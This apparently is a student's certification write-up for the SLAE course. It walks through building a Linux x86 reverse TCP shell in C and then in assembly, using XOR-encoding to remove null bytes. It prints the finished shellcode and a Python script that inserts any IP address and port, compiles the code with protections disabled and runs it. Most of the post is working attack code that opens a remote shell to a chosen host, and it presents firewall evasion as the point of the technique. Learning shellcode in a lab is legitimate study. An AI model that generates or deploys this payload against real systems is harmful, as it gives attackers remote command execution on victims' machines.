0x02 SLAE - Reverse TCP

Introduction

In the second assignment, the goal is pretty similar to the first one. Instead of connecting to the remote socket, we will create a socket that will connect to us. This will open a tunnel of communication between the remote host. A reverse shell is really useful when we want to evade firewall. Indeed, the remote host is connecting to us. In this way, we just need to open a port on our side. In this demo, we will not need to do that because we will test locally. This is just to explain the difference between the reverse and the bind shell.

C Program

The C program is really close to the first assignment C program. However, we have to set an ip address to connect back to our listener. In the next part, I will explain each section as I did for the first assignment. In the first place, I had to initialize the parameter for the sockaddr_in struct. So, I had to set the ip address and the port.

// initialization
struct sockaddr_in serv_addr;
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
serv_addr.sin_port = htons(8888);

Create a socket

To be able to connect to our remote listener, we have to create a socket. The socket will take the following parameter : socket(int domain, int type, int protocol); from the man page of socket. The domain represent the protocol family. Since, we are using IPv4 internel protocol, we will set this parameter to AF_INET. The second parameter is the communication semantics. We need to have a two-way connection. So, we will set the parameter to SOCK_STREAM. The last parameter is the type of protocol and we will set it to 0 as we did for the bind tcp.

// socket, open a socket
int sock = socket(AF_INET, SOCK_STREAM, 0);

Connect

The connect function require also 3 parameters which are similar to the arguments that we pass in the bind function in C. Here is the connect function definition int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen); .

The first parameter sockfd is the return value of our socket function call. The second parameter is the struct that we initlialize upper and the last parameter is the size of our struct.

// connect
connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr));

Redirect stdin, stdout and stderr

This is similar to what I did in the bind tcp. Here we just need to redirect the input, output and error using the dup2 function. As I detailed in the first assignment, there is :

  • stdin : 0

  • stdout : 1

  • stderr : 2

The first parameter of dup2 is the return value of the socket function. The second parameter is the value of the std which is 0, 1 or 2. Since, we need the three std type, we will call dup2 three time.

// return the stdin to client
dup2(sock, 0);

// return the stdout to client
dup2(sock, 1);

//return the stderr to client
dup2(sock, 2);

Open a shell

Finally, we will call the execve function to open a shell on the remote host.

// execve open a shell
execve("/bin/sh", NULL, NULL);

The final C program

#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>

int main(void) {
  // initialization
  struct sockaddr_in serv_addr;
  serv_addr.sin_family = AF_INET;
  serv_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
  serv_addr.sin_port = htons(8888);

  // socket, open a socket
  int sock = socket(AF_INET, SOCK_STREAM, 0);

  // connect
  connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr));

  // return the stdin to client
  dup2(sock, 0);

  // return the stdout to client
  dup2(sock, 1);

  //return the stderr to client
  dup2(sock, 2);

  // execve open a shell
  execve("/bin/sh", NULL, NULL);
}

Assembly version

The assembly version will be pretty straight forward since it is similar to the first assignement but instead we will need less syscall and some adjustement for setting a custom ip and port.

Create a socket

First, we will clean the registers before starting to write our first syscall. This help us to already zeored the registers and be ready to use them.

; clean registers
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx

Then, we are going to use the syscall socketcall. The assembly code will be exactly the same as the assembly for the bind tcp. In that way, I will not go into details since it is explained in the first blog post.

; syscall socketcall
mov al, 102 ; socketcall
mov bl, 1   ; SYS_SOCKET
push ecx    ; push 0 to the stack
push ebx    ; push 1 to the stack
push 2      ; push 2 to the stack : AF_INET = 2
mov ecx, esp
int 0x80
mov edi, eax

Connect to the listener

This part is different from the bind shell. Instead of listening for connection, we will connect to a listener.

In the first part, we will initialize the structure serv_addr. It is also important to mention that if we put zero value in our assembly, this would add null bytes in the shellcode. For example, if we add 127.0.0.1 it will contain zero in the shellcode. In this way, the shellcode will not work. The solution to that problem, is to create a key that will xor the value. Xoring the value with the key will remove the zero or null byte and the shellcode will work properly. Let’s see what it looks like :

; initialization of struct
; serv_addr.sin_family = AF_INET;
; serv_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
; serv_addr.sin_port = htons(8888);
; using xor to remove null byte
mov eax, 0xaaaaaaaa   ; xor key
mov ebx, 0xabaaaad5   ; xored 127.0.0.1
xor eax, ebx
push eax
push word 0xb822      ; port 8888
push word 2           ; AF_INET
mov ecx, esp          ; store our 3 arguments from stack in ecx

In the assembly code above, we can see that the key is equal to 0xaaaaaaaa. Before explaining the xor, we need to transform the ip address in correct format. The value 127.0.0.1 in hex is equal to 0x7f00001. However, we need to reverse that value to put it in the assembly code. So, the ip address become : 0x100007f. Then, we xor 0xaaaaaaaa with 0x100007f which give 0xabaaaad5. And now, we don’t have any zero or null byte.

After the initialization, we can now use SYS_CONNECT from socketcall.

; syscall socketcall SYS_CONNECT
; connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr));
xor eax, eax  ; clean register
xor ebx, ebx  ; clean register
mov al, 102   ; socketcall
mov bl, 3     ; SYS_CONNECT
push 0x10     ; size 16
push ecx      ; push the struct of args
push edi      ; push the sock return value
mov ecx, esp	; stack contains our 3 arguments
int 0x80

We will need to clean the registers because they contains value and we need to reset them to be able to reuse it. In the code above, we will use SYS_CONNECT which the value is 3 from the definition in the file /usr/include/linux/net.h. Then, we will push the size of the struct which is 16. And finally, push the struct to the stack which contains our arguments for the ip address, port number and AF_INET.

Redirect stdin, stdout, stderr

This part is exactly the same as the part for the bind shell. We will use the dup2 syscall which is the value 63. The three following syscall is the syscall for stdin, stdout and stderr.

; dup2 stdin syscall
; dup2(sock, 0);
xor ecx, ecx 		; clean ecx
mov al, 63			; dup2
; we don't push 0, since ecx is already NULL from the xor
push edi			; first argument: sock
int 0x80			; syscall

; dup2 stdout syscall
; dup2(sock, 1);
mov al, 63			; dup2
mov cl, 1			; stdout
push edi			; first argument: sock
int 0x80			; syscall

; dup2 stderr syscall
; dup2(sock, 2);
mov al, 63			; dup2
mov cl, 2			; stderr
push edi			; first argument: sock
int 0x80			; syscall

Open a shell

The last part is exactly the same as the bind shell. We will use the syscall execve which will execute /bin/sh on the remote host that is connecting to us.

; execve syscall
; execve("/bin/sh", NULL, NULL);
xor eax, eax		; clean registers
push eax			; push eax to the top of the stack
push 0x68732f2f		; push 8 bytes //bin/sh
push 0x6e69622f
mov ebx, esp		; //bin/sh in ebx
mov ecx, eax		; null in ecx
mov edx, eax		; null in edx
mov al, 11			; execve
int 0x80			  ; syscall

The final assembly version

; Shell Reverse TCP

global _start

_start:

	; clean registers
	xor eax, eax
	xor ebx, ebx
	xor ecx, ecx
	xor edx, edx

	; syscall socketcall
	mov al, 102 ; socketcall
	mov bl, 1   ; SYS_SOCKET
	push ecx    ; push 0 to the stack
	push ebx    ; push 1 to the stack
	push 2      ; push 2 to the stack : AF_INET = 2
	mov ecx, esp
	int 0x80
	mov edi, eax

	; initialization of struct
	; serv_addr.sin_family = AF_INET;
	; serv_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
	; serv_addr.sin_port = htons(8888);
	; using xor to remove null byte
	mov eax, 0xaaaaaaaa   ; xor key
	mov ebx, 0xabaaaad5   ; xored 127.0.0.1
	xor eax, ebx
	push eax
	push word 0xb822      ; port 8888
	push word 2           ; AF_INET
	mov ecx, esp          ; store our 3 arguments from stack in ecx

	; syscall socketcall SYS_CONNECT
	; connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr));
	xor eax, eax  ; clean register
	xor ebx, ebx  ; clean register
	mov al, 102   ; socketcall
	mov bl, 3     ; SYS_CONNECT
	push 0x10     ; size 16
	push ecx      ; push the struct of args
	push edi      ; push the sock return value
	mov ecx, esp	; stack contains our 3 arguments
	int 0x80

	; dup2 stdin syscall
	; dup2(sock, 0);
	xor ecx, ecx 		; clean ecx
	mov al, 63			; dup2
	; we don't push 0, since ecx is already NULL from the xor
	push edi			; first argument: sock
	int 0x80			; syscall

	; dup2 stdout syscall
	; dup2(sock, 1);
	mov al, 63			; dup2
	mov cl, 1			; stdout
	push edi			; first argument: sock
	int 0x80			; syscall

	; dup2 stderr syscall
	; dup2(sock, 2);
	mov al, 63			; dup2
	mov cl, 2			; stderr
	push edi			; first argument: sock
	int 0x80			; syscall

	; execve syscall
	; execve("/bin/sh", NULL, NULL);
	xor eax, eax		; clean registers
	push eax			; push eax to the top of the stack
	push 0x68732f2f		; push 8 bytes //bin/sh
	push 0x6e69622f
	mov ebx, esp		; //bin/sh in ebx
	mov ecx, eax		; null in ecx
	mov edx, eax		; null in edx
	mov al, 11			; execve
	int 0x80			  ; syscall

Now, let’s generate our shellcode and test if it work. I created a simple script that do all the stuff to test and generate our shellcode correctly. Here is the screenshot of the output of the shellcode.

"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc7\xb8\xaa\xaa\xaa\xaa\xbb\xd5\xaa\xaa\xab\x31\xd8\x50\x66\x68\x22\xb8\x66\x6a\x02\x89\xe1\x31\xc0\x31\xdb\xb0\x66\xb3\x03\x6a\x10\x51\x57\x89\xe1\xcd\x80\x31\xc9\xb0\x3f\x57\xcd\x80\xb0\x3f\xb1\x01\x57\xcd\x80\xb0\x3f\xb1\x02\x57\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80"

From the screenshot above, it looks like our shellcode has been generated correctly. Let’s test if it work.

The first window in the image above, is representing the execution of the shellcode and the window above is the listener. We can see from the image above that our reverse shell is working as expected.

The configurable ip and port number script

In my first assignment, we had to adjust manually the port number in the python script. In this one, we just have to insert the ip address and the port number as an argument when running the python script. This is a lot more efficient and easier to generate our shellcode. The python script will also automatically execute the shellcode as you can see in the image below.

import os
import sys
import commands
import struct
import re

key = 0xaaaaaaaa
ip = sys.argv[1].split(".") # xored with 0xaaaaaaaa : 127.0.0.1 : 0x100007f ^ 0xaaaaaaaa = 0xabaaaad5
ip_hex = ""

for val in ip[::-1]:
	if(hex(int(val))[2:] == "0"):
		ip_hex += hex(int(val))[2:] + "0"
	else:
		ip_hex += hex(int(val))[2:]

ip_hex = int("0x" + ip_hex, 16)
ip_hex = re.findall('..',hex(ip_hex ^ key).replace("0x",""))
ip = ""
for hex in ip_hex[::-1]:
	ip += "\\x" + hex
xored_ip = ip

port = ""
port_hex = re.findall('..', struct.pack('>L',int(sys.argv[2])).encode('hex')[4:]) # "\\x22\\xb8" port 8888
for hex in port_hex:
	port += "\\x" + hex

shellcode = "\"\\x31\\xc0\\x31\\xdb\\x31\\xc9\\x31\\xd2\\xb0\\x66\\xb3\\x01\\x51\\x53\\x6a\\x02" \
			"\\x89\\xe1\\xcd\\x80\\x89\\xc7\\xb8\\xaa\\xaa\\xaa\\xaa\\xbb" + xored_ip + "\\x31\\xd8" \
			"\\x50\\x66\\x68" + port + "\\x66\\x6a\\x02\\x89\\xe1\\x31\\xc0\\x31\\xdb" \
			"\\xb0\\x66\\xb3\\x03\\x6a\\x10\\x51\\x57\\x89\\xe1\\xcd\\x80\\x31\\xc9\\xb0\\x3f" \
			"\\x57\\xcd\\x80\\xb0\\x3f\\xb1\\x01\\x57\\xcd\\x80\\xb0\\x3f\\xb1\\x02\\x57\\xcd" \
			"\\x80\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3" \
			"\\x89\\xc1\\x89\\xc2\\xb0\\x0b\\xcd\\x80\""

f = open("shellcode.c", "w")
f.write("#include<stdio.h>\n\
#include<string.h>\n\
unsigned char code[] = \\\n\
"+ shellcode + ";\n\
main(){\n\
\tint (*ret)() = (int(*)())code;\n\
\tret();\n\
}")
f.close()

print "[*] Running the shellcode"
commands.getstatusoutput("gcc -m32 -fno-stack-protector -z execstack shellcode.c -o shellcode")
os.system("./shellcode")

Here is the result of the running script above.

Conclusion

In the second assignment, I have learned how to create a reverse shell tcp in assembly and shellcode. I also created a configurable ip a port script that generate automatically the shellcode which is much more simple than the first script in the assignment 1. I also feel more familiar with assembly. Let’s go for the third assignment. Thanks for reading me.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-1374

Last updated